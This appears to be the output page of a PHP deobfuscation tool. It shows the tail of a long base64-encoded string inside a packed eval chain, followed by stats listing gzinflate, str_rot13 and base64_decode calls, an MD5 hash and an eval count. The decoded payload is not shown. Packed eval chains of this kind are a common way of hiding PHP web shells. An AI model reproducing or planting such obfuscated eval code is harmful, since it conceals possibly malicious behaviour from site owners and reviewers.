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")))))) ?>
Function Calls
| gzinflate | 1 |
| str_rot13 | 2 |
| base64_decode | 1 |
Stats
| MD5 | a8ea5df4491da1f7ee4dd2d66ffa912a |
| Eval Count | 1 |
| Decode Time | 14730 ms |